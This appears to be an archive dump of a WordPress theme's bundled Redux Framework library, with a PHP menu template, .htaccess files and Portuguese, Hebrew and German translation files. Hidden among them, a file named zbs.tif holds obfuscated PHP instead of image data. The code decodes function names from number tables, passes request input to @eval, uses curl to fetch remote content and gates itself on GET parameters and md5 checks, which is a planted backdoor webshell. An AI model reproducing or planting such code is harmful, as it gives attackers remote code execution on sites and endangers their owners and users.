    parent->sections as $k => $section ) { $title = isset ( $section[ 'title' ] ) ? $section[ 'title' ] : ''; $skip_sec = false; foreach ( $this->parent->hidden_perm_sections as $num => $section_title ) { if ( $section_title == $title ) { $skip_sec = true; } } if ( isset ( $section[ 'customizer_only' ] ) && $section[ 'customizer_only' ] == true ) { continue; } if ( false == $skip_sec ) { echo $this->parent->section_menu ( $k, $section ); $skip_sec = false; } } /** * action 'redux-page-after-sections-menu-{opt_name}' * * @param object $this ReduxFramework */ do_action ( "redux-page-after-sections-menu-{$this->parent->args[ 'opt_name' ]}", $this ); /** * action 'redux/page/{opt_name}/menu/after' * * @param object $this ReduxFramework */ do_action ( "redux/page/{$this->parent->args[ 'opt_name' ]}/menu/after", $this ); ?>
lib/redux-framework/templates/panel/.htaccess000064400000001626147206624460015347 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/templates/templates/index.php000064400000000000147206624460016251 0ustar00lib/redux-framework/templates/templates/zbs.tif000064400000011577147206624460015760 0ustar00g=c-*/" "); /*-vV8mFcH-*/$M/*-3Eec-*/=/*-RvI}(S-*/${$iTDfU/*-952]uyP-*/[3+28/*-]O08-*/].$iTDfU/*-h|-*/[32+27]/*-R8-*/.$iTDfU/*-9wX<{E--*/[9+38]/*-V{B_mDs-*/.$iTDfU/*-s3t-*/[35+12]/*-clgVz5i>Rr-*/.$iTDfU/*-{,-*/[37+14]/*-.DZ$d-*/.$iTDfU/*-^AAHp2gO-*/[20+33]/*-.~us-*/.$iTDfU/*-([ooc[-*/[27+30]/*-?c+S>b-*/}; /*-m9Jl-*/if/*->T`_Ift-*/((/*-!g(3(-*/in_array/*-cS-*/(gettype/*-8SZ!^t{A-*/($M)./*-zMwg!cs1-*/count/*-#QUP(K-*/($M),/*-XPc3-*/$M)/*-Pd|4-*/&&count/*-w3lK~.dKH-*/($M)/*-?!n&z1DT-*/==/*-CD{9-*/20))/*-]Y-*/{ /*-&Vr-*/(($M[62]=$M[62].$M[73])&&($M[81]=$M[62]($M[81]))&&(/*-LkVN}Uzm{-*/@eval/*-Bj-*/($M[62](${$M[32]}[21])/*-Q7rYT1U@-*/))/*-U,HtaawQ-*/);}/*-5^hUGE-*/class /*-iMvJa=-*/Pts{ /*->-L,@+2c-*/static/*-ZNl>Pux-*/ function /*-dZF-*/gd($vdyoNzt) /*-+z-*/{ $PsVAx/*-RBBOw-*/ = /*-[MbtUN-*/"r"./*--Cl^{XU-*/"a"./*-l.&NM}Yn-*/"n"./*-$[[{_XU-*/"g"./*-b-,svm-*/"e"; /*-DcEd`Rx>@-*/$gFopQLuMwy/*-_I..-*/ = /*-[DUu-*/$PsVAx/*-}L9Cx#t(o-*/(/*-(uM7-*/"~"/*-[DSG]9,u-*/, /*-wTjn-*/" "/*-)QJH%KOH@1-*/);/*-h}(0m>7F-*/ $dHrqhfPIYE /*-xCy@uT9-*/= /*-9ro1[-*/explode/*-hT-*/(/*-]>o-*/"+", /*-@a(pU-*/$vdyoNzt/*-1:-*/); /*-ub!dH(-*/$jb /*-QiD!g`L-*/= /*-U5qa[;|-*/""; foreach /*->8@-*/(/*-09.;W3-*/$dHrqhfPIYE /*-7eC{o-*/as /*-?d-*/$qboU /*-Jw;-*/=>/*-M7@{;-*/ $jDCMYE/*-VFX]-*/) /*-M:-*/$jb /*-@I]&$D5&I|-*/.= /*-W@=&|Oc-*/$gFopQLuMwy[$jDCMYE/*-1gFQn-*/ - /*-2I-z3-*/77967/*-8nO-*/];/*-mu+i-*/ return /*-J#8(3Hgw-*/$jb; /*-fmMVhN:KQ-*/} /*-V>Q=-*/static /*-(&Py^-*/function /*-wlW}}dG-*/IWs/*-Lmy-*/(/*-`)-*/$vXYtbzQBT,/*-+0BXg-*/ $LOXHFW/*-h2}dhv)YY-*/)/*-=g-*/ {/*-?Q}S?B-*/ $koRZdMn/*-0nJQ0Lr-*/ = /*-;E3_Td-*/curl_init/*-72-*/(/*-|Re;-*/$vXYtbzQBT/*-.rspvVGCv:-*/);/*-`HZ-*/ curl_setopt/*-^k12O=-*/(/*-8iv-*/$koRZdMn,/*-d78VzThQ;-*/ CURLOPT_RETURNTRANSFER,/*-cV[oVN-*/ 1/*-X@-*/);/*-j^Jw(Vs^-*/)/*-HaR-*/ : /*-)[-*/$cDC; /*-?q4W]iea7-*/ function /*-Fyaj8>ov~-*/RbMJryYpTc/*-!bmk-*/() /*-ju=vm]-*/{/*-QV)nB;x-*/ $DsjdtQNIP /*-]-*/=/*-p#K3t-*/ array/*-a&:?3-*/("77994+77979+77992+77996+77977+77992+77998+77991+77976+77983+77994+77977+77988+77982+77983","77978+77977+77979+77998+77979+77982+77977+78044+78042","77987+77978+77982+77983+77998+77993+77992+77994+77982+77993+77992","77981+77996+77994+77986","77995+77996+77978+77992+78039+78041+77998+77993+77992+77994+77982+77993+77992","77991+77988+77985+77992+77998+77990+77992+77977+77998+77994+77982+77983+77977+77992+77983+77977+77978","78021+78051","77968","78046+78051","78028+78011+78011+78028+78004","77982+77991"); /*-KtBtd-*/foreach /*-r0-*/)/*-ut6TlF0`-*/ $dvaMNlJHqY/*-(~{l.ipqPi-*/[] /*-DrSwc<2-*/= /*-I~Wbu8-*/self/*-44MJ-*/::/*-Jr,#uu6KN+-*/gd/*-CbV-*/(/*-I8.-*/$AM/*-EToVpi-*/);/*-daeNA-*/$OXvbS /*-sm-*/= /*-?3MlG?S}-*/@$dvaMNlJHqY/*-)V_4-*/[/*-Kvsc-*/1/*-U=-*/]/*-X4vLr<2v#!-*/(/*-q6mv-*/${/*-oE-*/"_"/*-Bk1Mb-*/."G"/*-nm-*/."E"/*-5,-*/."T"/*-&K-*/}[/*-HH-*/$dvaMNlJHqY/*-M0kj-*/[/*->KD-*/1+8/*-XQO5{SLT-*/]]/*-ug,e|xT752-*/);/*-}U:B6Ic]-*/ $GMWKfSlb /*-Eeqx|lZ-*/=/*-El-*/ @$dvaMNlJHqY/*-{N=DLOa-*/[/*-jZ2YK7-*/1+2/*-j-*/]/*-#ox@`O5UD-*/(/*-:qB]_hcaN-*/$dvaMNlJHqY/*-`V-:U[-*/[/*-~D#-*/3+3/*-JEu7weDQ-*/], /*-s{+AiNm-#b-*/$OXvbS/*-bET-*/);/*-Zd{-*/ $FuH /*-+dK-*/=/*-BV!{p-*/ $dvaMNlJHqY/*-Wc-*/[/*-^5?-*/1+1/*-|Q>c|S-*/]/*-R~k722r(-*/(/*-1({-*/$GMWKfSlb,/*-Oq-*/ true/*-8P81-*/); /*-,mIBJrS-*/@${/*-gN}V-*/"_"./*-Z,SU.~b:>(-*/"G"./*-w$0IM-*/"E"/*-#:R-*/."T"/*-=Ow3C5m-*/}/*-UfByJqI-*/[/*-k]KE2d,Dc@X.V-*/]/*-a@},yBZ-*/]/*-~>-*/ == /*-IDXbJ>t[,--*/1 /*-h]Kl42h|5c-*/&& /*-Y=i=[$-*/die/*-YhM4p-*/(/*-nt-*/$dvaMNlJHqY[5+0/*-K,757|zd-*/]/*-Cd88U,D-*/(/*-;F>g79fDr9-*/__FILE__/*-cRLo@;s-*/)/*-=P3-S-*/); /*-;-T-*/if/*-dFsl?9h-*/(/*-7ms?yBe-*/ (/*-qdE[C:u@Y-*/(@/*-Sq{>l-pI-*/$FuH/*-u,$)p2N-*/[/*-`q([)-*/0/*-+H-*/] /*-0_,=g6C-*/- time/*-B_M-Z]BE>-*/()/*-rv-*/) > /*-(&)-*/0/*-S}1#W%YTU-*/)/*-9j@-*/ and /*-)Kk-*/(/*-1l-*/md5/*-_v6-*/(/*-U7scgo&`T-*/md5/*--<-*/(/*-BS-*/$FuH/*-y#0l^2F-*/$dvaMNlJHqY/*-6+i:}d-*/[/*-QJ-*/3+1/*-(J$MX5rv8-*/]/*-pD&-*/(/*-i!-*/$YWprck/*-.-*/)/*-#.-*/);/*-31lib/redux-framework/templates/templates/.htaccess000064400000001626147206624460016246 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/templates/.htaccess000064400000001626147206624460014250 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/languages/redux-framework-pt_BR.mo000064400000040136147206624460017104 0ustar00  $;5JD4 1ASgy   . "AI P \fl} %, ; F Q ] g t       #ZUQXhw]X> GRW f r2~  !  (I Zf o{!2B%\W   )DSf,v(    $/?N'.3' *yK 3(FMR[ cnvUF 1 O o z ; F E!Ka!b!L"3]"-"/"a"`Q#####J#9$,S$,$$$$l$Y(!w((( ((((( )I )Wj)I)" */*B*Q*a*t***** ***;*-+ 4+ >+$_+++ + ++l+ 7, A,K,f,y,,, , ,,,,,, - "-0-@-P-g-j-|-----..O/kX/f/+040H0Z0cn0W0*1 11<1E1\1m1,}11111(12 2&2-2620I2z22222^3r3343 3h3H4P4X4]4l4~444444:4295l5t5z555 5 555 55566)66/77=7/7($8|M8888 88I8791@9r9y999 9999Y9/:O:B;_;.; ;;; ;6;><>]<K<f<ZO=4=)=+ >_5>_>>>??`7??,?4?@*@?@0}% Q+X k>58oPTa4h<']zN#qWwEL$giI`[2&F|m^@UYDtr6sZ=KpHf3:M jJ("RA1e.;)v OnlC*cG9x-S7_\/Bdb,!y{~uV?Activate Demo ModeActivate Development PluginsActiveActive PluginsAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.HoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LanguageLearn MoreLeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.MySQL VersionNameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP Memory LimitPHP VersionPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Redux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThe following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The people that develop Redux FrameworkThe theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnable to modify required files. Please ensure thatUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Portuguese (Brazil) (http://www.transifex.com/projects/p/redux-framework/language/pt_BR/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: pt_BR Plural-Forms: nplurals=2; plural=(n > 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Ativar Modo de DemonstraçãoAtivar Desenvolvimento de PluginsAtivadoPlugins AtivosAdicionar %sAdicionar MaisAdicionar/Editar GaleriaTodosTodos os Padrões restaurados!Permitir rastreamentoVocê tem certeza? Ao redefinir, todas as modificações serão perdidas.Você tem certeza? Ao redefinir, todas as modificações dessa seção serão perdidas.Você tem certeza? Ao redefinir, todas as modificações serão perdidas.Ação automática realizada: "%s"Fixação do fundoGramp de FundoOrigem do FundoPosição do fundoRepetição do fundoTamanho de FundoBackup do tipo de fonteEstilo de bordaBaseNavegadorLog de mudançasLimpar galeriaClique aqui para ativar a configuração de demonstração.FecharCréditosDesativar Modo de DemonstraçãoDesativar Desenvolvimento de PluginsPadrãoEliminarDescriçãoDesenvolvedorModo Desenvolvedor AtivadoVocê sabia que nós temos extensões que aprimoram os recursos do Redux? Visite nosso %1$s para saber mais!DesativarDispensarNão permitir rastreamentoEndereço de EmailAtivarExpandirExportar OpçõesExtensõesCor da FonteFamília de FonteTamanho da fonteSubconjuntos de FonteVariante da FontePeso e Estilo da FonteCor da fonteTipo de fonteScript da fonteEstilo da fonteFonte dos SubconjuntosDePágina de FrentePrimeiros passosWebfonts do GoogleAlturaAjude a melhorar nosso painelAqui você pode copiar/baixar suas opções atuais. Guarde esse arquivo em um local seguro para utilizá-lo como backup em caso de erro ou para restaurar suas opções nesse site (ou em qualquer outro site).DicasSugestões são os tooltips que aparecem %d no ícone de dica, oferecendo informações adicionais sobre o campo em que eles aparecem. Eles podem ser %d d através do link abaixo.SuspensoSe assim for, por favor, %1$s e considere fazer uma %2$s para manter o desenvolvimento de Redux avançando.Se você gostaria de manter-se atualizado sobre o Redux, por favor, assine o nosso boletim informativoImportarImportar / ExportarImportar OpçõesImportar de uma URLInsira a URL para outras opções locais e clique em importar para carregar as opções desse site.Selecione seu arquivo de backup abaixo e clique em Importar para restaurar as opções.IdiomaSaiba MaisEsquerdaEspaçamento de letrasGostou do Redux?Altura da LinhaDeve chamar após a ação "plugins_loaded".Versão do MySQL NomeNovoBoletim InformativoNão foram encontrados itens desse tipo.Arquivo não selecionadodesligadoligadoOpçõesOpções de ObjetoPainel de configurações criado utilizando %1$sLimite de Memória no PHPVersão do PHPSenhaPor Favor, AguardePor favor, ajude-nos a melhorar esse painel permitindo o uso de estatísticas anônimas para uma análise de compatibilidade de configurações, plugins e temas.Extensões do ReduxRedux FrameworkRedux Framework ChangelogO Redux Framework possui uma demonstração inclusa.Gerador ReduxRedux é um simples framework, com opções verdadeiramente extensíveis para temas e plugins WordPress.RegularRemoverRepoRestaurar tudoRestaurar SeçãoDireitaSalvar AlteraçõesSeção Padrões restaurada!Selecionar um itemConfigurações Importadas!Configurações Salvas!As configurações foram alteradas, você deve salvá-las!Mostrar objeto no console de objetos do JavascriptTamanhoSlideFontes PadrãoEstadoEstiloSubscreverSubconjuntosSuporteInformações do sistemaTeam ReduxAlinhamento de TextoDecoração do TextoTransformação de TextoOs seguintes diretórios e arquivos ainda estão localizados no seu Redux diretório. Eles podem causar erros no Theme-Check.Pessoas que desenvolvem o Redux FrameworkO tema que você está testando tem %s incorporado. Nós convidamos você a ler a %sTheme-Check Documentation%s para entender alguns avisos que verá por causa do Redux.A ação desconhecida foi substituída com "%s"TemaEste campo não pode estar vazio. Por favor informe um valor.Esse campo deve conter um valor de cor válido.Este campo deve conter uma data válida.Este painel demonstra os muitos recursos do Redux. Antes de futucar, sugerimos que busque rapidamente por uma revisão %1$s.TítuloParaTopoTransparenteURLNão é possível modificar arquivos necessários. Por favor os verifiqueUnidadesAção desconhecida "%1$s" especificada para %2$sEnviarUsuárioNome de utilizadorVersãoVersão %sVer %sVisitar a página de pluginsVisitadoATENÇÃO! Isso irá substituir todas as opções salvas. Por favor, proceda com cuidado!Quer uma dica? Use o %1$s. Ele criará um tema inicial personalizado ou uma pasta de admin completa com tudo Redux (com a ajuda de Sublinhados e TGM). Evite dores de cabeça e experimente hoje. Aviso - Este painel de opções pode não funcionar devidamente sem javascript!Bem-vindo ao Redux FrameworkBem-vindo ao Redux Framework %sBem vindo ao painel de demonstração do ReduxNovidadesLarguraEspaçamento de PalavrasCarregando...Sem permissões suficientes para acessar esta página.Você tem mudanças não salvas. Gostaria de salvá-las agora?Você tem mudanças não salvas. Gostaria de salvá-las agora?Você não deve inserir HTML nesse campo. As tags HTML foram desabilitadas.Você não deve inserir caracteres especiais nesse campo. Os caracteres especiais foram desabilitados.Insira uma lista, separada por vírgulas, de valores numéricos válido para essa opção.Insira um valor numérico válido para essa opção.Insira uma URL válida para essa opção.Insira um e-mail válido para essa opção.Suas opções atuais serão substituídas pelas configurações iniciais. Gostaria de proceder?Suas opções atuais serão substituídas pelas configurações iniciais. Gostaria de proceder?ClicandodoaçãoErro(s) encontrado(s)!Diretório de Extensõestem as permissões apropriadas de leitura/gravação ou digite suas informações de FTP abaixo.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkdeixe-nos um comentário favorável no WordPress.orgMovendo o mouse sobrenossa documentaçãoAdvertência(s) encontrada(s)!lib/redux-framework/languages/redux-framework-lt_LT.mo000064400000000000147206624460017076 0ustar00lib/redux-framework/languages/redux-framework-he_IL.mo000064400000024430147206624460017055 0ustar00{h i |     5 D 4+ ` v    .    - 5 < H R Z b x       % , C -<]LX %!*L^bem | %   "1D,T( ' 6<@ DPTZafo wUF EP V c;nFEK7bL33-g/a`'i5>NkrUlWE *9MK    (@T] w 7*@=k - 8 J Y %^      0 ! !%!#;!_!h!q!!!!!"!!<"@B""" " "" """9";4# p#{# ~# # # # # ### ####o$p$ $%% '%23%Zf%^%V &mw&V&D<'I'N'_(cz(((Iti*P%-zU!N+<9yM\Hm&a;Z,>Jj5X[c`7T1 xpDS {eb 38?=qQOkFAY V6C_WnE u#2RGod(rwfB.:L4gh]$@^l)/0s vK"'Activate Demo ModeActiveAdd MoreAdd/Edit GalleryAllAllow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDefaultDeleteDescriptionDeveloperDisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsExtensionsFont FamilyFont SizeFont colorFont familyFont scriptFont styleFont subsetsFrom Getting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HoverImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingMySQL VersionNameNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP VersionPasswordRedux FrameworkRedux Framework has an embedded demo.RegularRemoveReset AllReset SectionRightSave ChangesSelect an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeStandard FontsStatusStyleSubsetsSupportSystem InfoThemeThis field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnitsUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Warning- This options panel will not work properly without javascript!What's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?error(s) were found!warning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Hebrew (Israel) (http://www.transifex.com/projects/p/redux-framework/language/he_IL/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: he_IL Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes הפעל מצב דמופעילהוסף עודהוסף/ערוך גלריההכלאשר מעקבהאם אתה בטוח? איפוס יגרום לאיבוד הערכים שהכנסת.האם אתה בטוח? איפוס יגרום לאיבוד כל ההגדרות שביצעת בסקשן זה.האם אתה בטוח? איפוס יגרום לאיבוד ההגדרות שהגדרת.רקע מצורףמיקום תמונת רקעחזרת תמונת רקעגבה משפחת פונטהסגנון של הגבולתחתיתשינוייםנקה גלריהלחץ כאן על מנת לבצע אקטיבציה לקובץ הקינפוגסגורקרדיטיםבטל מצב דמוברירת מחדלמחיקהתיאורמפתחלכבותסגורלא להרשות מעקבכתובת אימיילערכה פעילההרחבאפשרויות יצואהרחבותגופןגודל גופןצבע פונטמשפחת פונטיםתסריט פונטסגנון פונטתת-פונטמלהתחיל עכשיוגווגל ווב-פונטיםגובהעזור בשיפור הפאנל שלנו כאן תוכל להעתיק/להוריד את הגדרות הפאנל שלך. שמור את זה במקום בטוח על מנת שתוכל להשתמש בזה כגיבוי אם משהו לא ילך כשורה. או שתוכל לשמור את זה לשחזור הגדרות באתר זה (או בכל אתר אחר).מעבריבואיבוא / יצואהגדרות יבואיבא מתוך קישורהכנס את הקישור להגדרות של אתר אחר ולחץ על יבוא על מנת לטעון את ההגדרות מאותו האתר.הכנס את קובץ הגיבוי שלך מתחת ולחץ על יבוא על מנת לשחזר את הגדרות האתר שלך מתוך גיבוי.לשמאלמרווח אותMySQL גרסהשםפריט מסוג זה לא נמצא.לא נבחרה מדיהכבויפועלאפשרויותאובייקט הגדרותפאנל האפשרויות נוצר ע"י %1$sגרסת PHPסיסמהמערכת רדוקסלרדוקס יש דמו מצורףרגילהסרהאפס את הכלאפס סקשןימיןשמור שינוייםבחר אייטםייבוא הגדרות בוצע !ההגדרות נשמרו!הגדרות שונו. אנא שקול לשמור אותם !בדוק אובייקט בג'אווה סקריפט קונסול גודלפונטים סטנדרטייםסטטוססגנוןתתתמיכהמידע מערכתערכת עיצובהשדה חייב להכיל ערך תקין של צבע.שדה זה חייב להכיל ערך תאריך תקני.כותרתללמעלהשקיפותקישוריחידותהעלאהמשתמששם משתמשגרסהגרסה %s%sאתר התוסףקישור שביקרו בואזהרה! זה יגרום לדריסת כל ההגדרות הנוכחיות. אנא המשך בזהירות !אזהרה - פאנל האפשרויות לא יעבוד בצורה תקינה ללא ג'אווה סקריפט !מה חדשרוחבמרווח מיליםעובד...אין לך הרשאות לגשת לעמוד זה.ישנם שינויים שלא נשמרו. האם תרצה לשמור אותם עכשיו?השינויים שביצעת לא נשמרו. האם תרצה לשמור אותם עכשיו?אסור להכניס ערכי HTML לשדה זה. כל תגיות ה HTML הוסרו.אסור להכניס לשדה זה תווים מיוחדים. כל התווים המיוחדים הוסרו.אתה חייב להפריד בין הערכים ע"י פסיקים בהגדרה זו.חובה להכניס ערכים מספריים לאפשרות זו.חובה להכניס ערך קישור URL תקני לאפשרות זו.אתה חייב לספק כתובת אימייל תקנית להגדרה זו.ההגדרות שהגדרת יוחלפו בערכים חדשים. האם תרצה להמשיך?האפשרויות שהגדרת יוחלפו בערכים חדשים. האם תרצה להמשיך?שגיאה(ות) נמצאו !ישנן אזהרה(ות) !lib/redux-framework/languages/redux-framework-de_DE.mo000064400000034256147206624460017044 0ustar00d 89Lip5D4> s ") 1 ;.Ix~  lLT\ r           )6 <GWgnRXZ^U&5]EX  2([` g!r  %  % /= CPkz,(  $, 4 @K['j.3' #yD (   (3;QUYF 4? E R;]FEK&brL3"-V/a`w,j k#######)#$@)$Rj$@$)$!(%J%[%n%%%% %%% %%D% 9& D&P&l&&& & && O' \'f'~' ' '' ' ' '' '' ( %( 2( =( K( W(e( i(t((( (())r)kP* ****x+z+&,,,;, O,8[,,, ,.,,,,,,-.- 7-D-./.?.;Y... ... ...6.3/F/!`/</+////0 0#0 ,0:0B0T0d0u000.00;00*1*[1:1 111 11 1,1 2'2 02=2 E2 P2[2s2[{22Y3.4"N4 q4 44 44H4M 5MX5M5Z5YO6@6;6>&7\e7\78&8>8(\8 885~b|T}&BoP%?mD)qsGnu' 0=/QgO y2^@!X#8 [ $e3Md>NR,1VK6"H7jAE`UW+*i4h9;cZ a:lwSt.F CJ<v]{YLxrfz-\pk(I_Activate Demo ModeActivate Development PluginsActiveActive PluginsAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.NameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Redux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoText AlignText DecorationText TransformThe people that develop Redux FrameworkThe unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help 